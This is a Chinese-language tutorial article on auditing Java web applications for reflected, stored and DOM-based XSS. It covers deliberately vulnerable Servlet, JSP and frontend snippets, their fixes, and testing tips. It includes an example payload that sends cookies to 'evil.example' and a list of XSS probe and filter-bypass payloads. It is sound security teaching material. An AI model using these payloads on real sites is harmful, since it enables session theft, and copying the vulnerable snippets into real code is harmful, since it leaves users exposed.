ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

Java代码审计实战:从原理到防御,彻底讲透三类XSS漏洞

Java代码审计实战:从原理到防御,彻底讲透三类XSS漏洞

1. 先搞明白XSS到底是个什么东西

做Java代码审计这几年,XSS漏洞大概是白名单里出镜率最高的几位常客之一。很多人有个误区,觉得XSS是前端菜鸟才犯的错,Java后端天生有类型检查、框架又自带防护,应该没那么容易中招。但实际情况恰恰相反,我在真实项目中遇到的XSS,相当一部分都是从Java服务端流出去的——要么是接口直接把参数拼进HTML返回,要么是数据库里的脏数据没有编码就上了页面。这套系列更新到第五篇,今天把XSS的成因和实战案例完整盘一遍,建议做SDL、搞代码审计、或者负责安全测试的同学重点看。

这篇文章会从XSS的原理讲起,然后落到Java代码审计的实际操作上:怎么定位可疑入口、怎么追踪数据流、三类典型XSS(反射、存储、DOM)在Java Web项目里分别长什么样,最后给出可直接抄作业的修复方案和排查技巧。内容照顾两种读者:刚接触代码审计的新手可以照着一行行跟下来,老手也能在案例里对照一下自己有没有漏过类似场景。

2. 先分清XSS的三个“家族成员”

2.1 反射型、存储型、DOM型的本质区别

不管浏览器上的表现多花哨,XSS的根子就一句话:不可信数据被当作可执行代码渲染到了页面里。但根据“恶意脚本从哪来、到哪去”,业内习惯把它们分成三类。

  • 反射型XSS:脚本藏在URL参数或者表单提交里,服务端接收后,不经过任何过滤,直接在响应页面中把这个参数原样拼进HTML返回。受害者必须点击攻击者构造好的恶意链接才会中招,所以也叫“非持久型XSS”。它的特点是“一次性”,你刷新干净地址就没了,但攻击者可以把链接伪装成短链、二维码发给目标,防不胜防。

  • 存储型XSS:恶意脚本先被保存到服务端数据库里(比如昵称、留言、文章标题),后续任何用户访问包含这条记录的页面时,脚本都会从数据库里取出来并渲染执行。因为脚本长期“寄存”在服务器上,每次加载都生效,杀伤力远超反射型,属于高危中的高危。

  • DOM型XSS:这种类型服务端完全“不知情”。前端JavaScript通过document.location、window.name、document.referrer等途径读取用户可控数据,再通过innerHTML、document.write、eval等方式把它插入页面执行,整个过程不经过服务端渲染。审计这类漏洞要重点看前端代码,而不是Java接口。

用一个不恰当的类比:反射型像骗子在门口喊你名字让你开门,存储型像骗子直接住进你家客厅,DOM型则是你自家保姆被收买了——三种路径不同,但都是把不可信的东西当成了“自己人”。

2.2 为什么Java Web应用也会踩坑

很多开发者潜意识里觉得Java安全,主要靠的是类型安全和Spring Boot这类框架的默认配置。但XSS本质上是输出编码缺失的问题,和静态类型无关。Java Web项目里踩坑的常见环节我总结了一下:

  • Servlet或老式分层架构里,直接用PrintWriter拼接HTML字符串输出,没有做HTML实体编码;
  • JSP页面用<%= value %>输出变量,容器默认不做转义;
  • 使用Velocity、FreeMarker等模板引擎时,开发者偷懒关掉了默认的htmlEscape;
  • 前后端分离架构里,后端只提供JSON接口,但前端拿到数据后盲目用v-html、innerHTML渲染富文本。

这几条在代码审计中都是高发点。你不需要把整条业务链路都看懂,只要抓住“入口到出口”的数据流,就能快速圈定嫌疑区域。

3. 实战思路:审计Java代码该从哪里下手

3.1 找入口:哪些是用户可控的数据源

做代码审计讲究一个“从源头到汇点”的污点追踪,翻译成人话就是:先确定哪些数据是攻击者能控制的,再看这些数据最终流到了哪个危险的输出函数里。Java Web应用里常见的“污点入口”优先级排序如下:

优先级入口类型典型API/位置说明
高HTTP请求参数request.getParameter()、@RequestParam最常见,URL和POST表单都能带
高请求体JSON/XML@RequestBody、request.getInputStream()前后端分离项目必查
中HTTP请求头request.getHeader("User-Agent")、Referer、X-Forwarded-For很容易被忽略,“UA头写入页面”是经典考点
中Cookierequest.getCookies()若未设置HttpOnly,配合XSS可窃取会话
低数据库读出的历史数据mapper.select、JPA查询结果存储型XSS的源头,要在输出点封堵

在审查时,我会先拉一遍项目里所有Controller的入口方法,看方法签名里有没有直接绑定了上述这些参数对象。如果某个接口的参数被直接传给了业务层再返回给前端,那就是一个值得深入追踪的线索。

3.2 盯出口:危险的输出点长什么样

找到入口后下一步就是找出口——也就是数据被渲染到HTML或JavaScript上下文的位置。Java项目里最危险的输出点有这些模式:

  • 直接拼接响应:response.getWriter().println("<div>" + name + "</div>")
  • JSP脚本片段:<%= request.getParameter("keyword") %>
  • 模板引擎未转义:Velocity里写$!name,FreeMarker里用<#outputformat "html">但忘记对变量做?html
  • JSONP回调:callback(request.getParameter("callback")),如果没有对callback参数做白名单校验,直接拼进响应就是反射型XSS
  • 前端危险API:innerHTML、document.write、eval、setTimeout("string")

我的习惯是,先把整个项目里所有innerHTML、document.write、eval这类前端危险函数全局搜索一遍,再反过来定位产生这些字段的Java接口。前后端对照着看,比单查一端要高效得多。

4. 三个实战案例拆解:从代码到利用链

4.1 案例一:搜索框“原样回显”的反射型XSS

先从一个最典型的场景说起。某后台管理系统提供了一个搜索接口,Java代码是这样的(已简化,但骨架完全一致):

@WebServlet("/search") public class SearchServlet extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String keyword = request.getParameter("keyword"); response.setContentType("text/html;charset=UTF-8"); PrintWriter out = response.getWriter(); out.println("<html><body>"); out.println("<h2>搜索结果:" + keyword + "</h2>"); out.println("</body></html>"); } }

这段代码的问题肉眼可见:keyword直接拼接进了HTML响应,完全没做任何编码。攻击者构造这样一个URL:

/search?keyword=<script>alert(document.cookie)</script>

受害者点击后,服务端就把这段脚本原样吐回页面,浏览器解析HTML时执行了alert(document.cookie)。在实际攻击中,脚本会换成窃取Cookie、模拟登录表单钓鱼等更隐蔽的载荷。

审计要点:搜索、查询类接口是反射型XSS的重灾区,因为业务上天然需要把用户输入“回显”到页面上。我在审计时会重点关注out.println、response.getWriter().write这类直接面向响应流的代码,只要发现字符串拼接了非固定常量,立刻标记为待验证的XSS点。

4.2 案例二:个人资料里的“潜伏者”存储型XSS

第二个案例更棘手。某内容管理平台允许用户填写个人简介,Java后端处理保存请求时已经把数据参数化了——这也是很多开发者自信的来源:“我们用了PreparedStatement,SQL注入不可能”。

@PostMapping("/api/profile") public ResponseEntity<String> saveProfile(@RequestBody ProfileRequest request) { profileRepository.save(request.getNickname(), request.getBio()); return ResponseEntity.ok("saved"); }

数据库这边确实没问题,但展示端却翻了车。用户个人主页是一个Java后端渲染的JSP页面:

<div class="intro"> <%= profile.getBio() %> </div>

攻击者在个人简介里填了这么一段内容:

<img src="x" onerror="fetch('//evil.example/steal?cookie='+document.cookie)">

保存时数据库原样存储,其他用户访问攻击者主页时,JSP把这行HTML直接输出,<img>标签的onerror事件立即触发,所有访客的Cookie被发送到攻击者的服务器。这就是存储型XSS的典型利用链——恶意脚本不是一次性,而是常驻服务端,每个受害者访问都会中招。

审计要点:存储型XSS的排查难点在于“入口”和“出口”往往不在同一个接口甚至同一个项目里。保存接口只负责入库,展示可能是另一个接口渲染的。审计时除了追踪单条数据流,还要重点筛查所有读取数据库表字段后直接输出到模板的地方,尤其是用户可控字段(昵称、签名、评论内容)。

4.3 案例三:前后端分离项目里的DOM型XSS

第三个案例是普遍存在于现代互联网项目的场景。广告投放系统后端有个接口返回站内信通知:

@GetMapping("/api/notice") public Result getNotice(@RequestParam("type") String type) { Notice notice = noticeService.queryByType(type); return Result.ok(notice); }

后端返回的JSON里有个content字段,存的是公告内容,后端本身没有渲染任何HTML,所以如果只审Java代码,这个接口看起来人畜无害。但前端页面里有一段逻辑:

fetch('/api/notice?type=any') .then(res => res.json()) .then(data => { document.getElementById('notice').innerHTML = data.content; });

问题就出在这行innerHTML。攻击者如果能在业务上控制content字段内容——比如通过某些后台功能录入公告——这段内容就会被当作HTML插入页面执行。更隐蔽的是如果后端在做内容过滤时只过滤<script>,而攻击者用<svg onload>、<img onerror>这类不以<script>开头的事件载荷,照样能绕过。

审计要点:审前后端分离项目时,别只盯着Java代码。我通常会要求前端同事提供与接口对接的模板/组件文件,重点搜索innerHTML、v-html(Vue)、dangerouslySetInnerHTML(React)这几个特征API,再对应到后端的字段定义。凡是标注“富文本”“公告”“动态内容”的字段,基本都要查一遍渲染方式。DOM型XSS还有一种变体是把查询参数直接拼进URL后塞给location.href,这个也值得刷一下。

5. 修复方案与防护落地:不能只靠“过滤”两个字

5.1 不同上下文用不同编码策略

很多团队修复XSS时最爱做的一件事就是“加个过滤”——把<script>、onerror、javascript:这些关键词替换掉。这种做法我强烈不推荐,黑名单的绕过姿势太多了:大小写混写、HTML实体编码、Unicode编码、SVG标签、MathML命名空间、tab和换行符插入,分分钟就给你绕过去。

正确的做法是默认不可信,输出编码。针对不同的输出上下文,选择对应的编码规则:

输出位置编码方式Java实现示例
HTML正文HTML实体编码(转义<>&"')org.springframework.web.util.HtmlUtils.htmlEscape(text)
HTML属性属性值编码,闭合引号需格外注意org.owasp.encoder.Encode.forHtmlAttribute(text)
JavaScript字符串JS字符串转义,防止引号闭合执行org.owasp.encoder.Encode.forJavaScript(text)
URL参数URL编码URLEncoder.encode(text, "UTF-8")
富文本白名单标签过滤(不是黑名单)推荐使用OWASPAntiSamy、JSoup白名单清洗

以案例一为例,修复可以改成:

String keyword = request.getParameter("keyword"); // 关键修复:输出前先做HTML实体编码 String safeKeyword = HtmlUtils.htmlEscape(keyword); out.println("<h2>搜索结果:" + safeKeyword + "</h2>");

对于案例二的JSP场景,要么在JSP顶层声明中配置全局转义(不同版本容器支持度不一),更稳妥的方式是引入模板引擎或使用JSTL的<c:out>标签:

<div class="intro"> <c:out value="${profile.bio}"/> </div>

针对案例三这种前端渲染场景,正确姿势是“永不直接插入HTML字符串”。展示纯文本内容就用textContent,展示富文本要用白名单组件(如给innerHTML前先跑一遍JSoup白名单清洗),或者采用结构化渲染方案,把数据和模板彻底分离。

5.2 框架层防护与纵深防御

编解码修的是“点”,框架配置可以帮你把“面”兜住。实战中我一般会从三个维度加固:

  • Spring MVC的全局JSON转义:在MappingJackson2HttpMessageConverter配置中对JSON响应做字符串转义,细节不展开,但思路是让所有从接口返回的字符串在进入前端JS上下文时自带一层编码保护。
  • 模板引擎默认转义:使用Thymeleaf时,th:text自带HTML转义;使用Freemarker时,必须把html_escape作为默认output_format,或者在模板里统一用${var?html}。改完记得全局搜索一遍确认没有遗漏?no_esc或${var}裸奔的。
  • 内容安全策略CSP:给响应头加上Content-Security-Policy,例如default-src 'self'; script-src 'self',这样即使某个点被绕过,浏览器也会拦截内联脚本的执行。CSP不是万能的,但在纵深防御里是最划算的一层保险。
  • HttpOnly Cookie:把会话Cookie标记为HttpOnly,即使XSS执行了也拿不到document.cookie,攻击者的核心窃密目标直接落空。

另外提醒一下:安全修复做完一定要回归验证。很多人改了代码就没有然后了,结果上线后在某个浏览器上发现富文本渲染全乱了、某些特殊字符显示??——所以修复方案要在测试环境拿XSS payload清单跑一遍,再正常业务回归一遍,双保险。

6. 常见问题与排查技巧实录

6.1 审计中容易误判和漏判的几个坑

代码审计看似简单,实际上大量时间耗在判“有没有毛病”上。下面这几个场景我踩过、也见别人踩过,列出来给你参考。

  • 只盯GET参数,忽略POST和JSON Body。很多新手审计时习惯性搜getParameter,但现在的接口大部分是POST + JSON,参数在@RequestBody里。如果只在GET参数里找污点,至少漏掉一半的攻击面。
  • 存储型XSS延迟暴露不好定位。数据入库的接口和输出的页面完全不是一套代码,审计时容易追着追着就断了。我的经验是:先从数据库表反查实体类,找到哪些字段是用户可填写的,再顺着这些字段找所有读取它并输出到页面的位置,逆向追踪比正向追踪清晰得多。
  • 忽略了框架自动绑定的“隐藏入口”。Spring MVC里如果用了@ModelAttribute自动绑定对象,用户传入的参数会直接映射到实体类字段,很多字段页面根本看不见,但攻击者可以构造参数名暴力绑定,这在表单类接口里是真实存在的。
  • 以为“有拦截器就安全了”。很多项目有个全局过滤器只处理了<script>,但事件属性、协议绕过全都没管。黑名单式的“无敌过滤器”我见过太多次被<img src=x onerror=...>打穿。

6.2 审计工具的组合用法与验证清单

最后交代一下我常用的审计工具组合,供新人建立自己的工作流。

  • 静态扫描工具做初筛:无论你用的是商业工具还是开源的CodeQL/Semgrep,都可以先用规则扫一遍“污点入口 +innerHTML/print输出路径”,把全局可能的隐患点拉出来。工具的价值在于“全”,不在于“准”。
  • 人工Code Review做复核:工具扫出来的点逐个打开看上下文,确认是否存在完整的“可控输入 → 不安全的输出 → 可被浏览器执行”链路。这个环节才是真正考验功力的时候。
  • Burp Suite做动态验证:把扫描到的可疑接口搬到Burp里构造<script>、<svg onload>、不同位置注入的payload,看响应里的输出点是否被原样保留。动态验证是为了拿到“实锤”,代码里再像XSS也得上线打一发才知道有没有被浏览器拦下来。
  • F12浏览器调试:如果响应里看到了payload但页面没弹窗,可能是CSP拦截或浏览器XSS过滤器生效,这时候用开发者工具确认一下控制台输出,别误当安全了。

排查时我习惯直接复用下面这套常用payload清单,覆盖面比较广,适合快速试探不同上下文:

<script>alert(1)</script> "><script>alert(1)</script> <img src=x onerror=alert(1)> <svg onload=alert(1)> <details open ontoggle=alert(1)> javascript:alert(1) <scr<script>ipt>alert(1)</scr</script>ipt>

覆盖HTML正文、属性值、事件属性、协议绕过、过滤绕过等多种情况。顺便说一句:很多情况下你以为修好了,用最后一条嵌套payload再打一发,又穿了——修复验证时千万别偷懒只测一条。

7. 写在最后的审计心得

搞代码审计这几年,我最大的体会是:XSS不靠“灵感”,靠的是稳定的流程。入口数据源梳理、数据流追踪、危险输出点排查,这套动作反复练,速度自然就上来了。遇到拿不准的点,就把接口跑起来用Burp打一发,比在代码里猜半天高效得多。

另外补一句个人建议:安全修复别只停留在“把漏洞堵上”这个层面,尽量顺手把同类问题一起清掉。比如在某个接口发现了反射型XSS,说明这个项目普遍存在拼接输出的习惯,那就在全项目范围内搜一遍PrintWriter、<%= %>、v-html,把所有能改的出口统一改成编码输出,这样才算把一个类问题真正消化掉。希望这篇实战记录对你接下来做Java项目审计有帮助。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进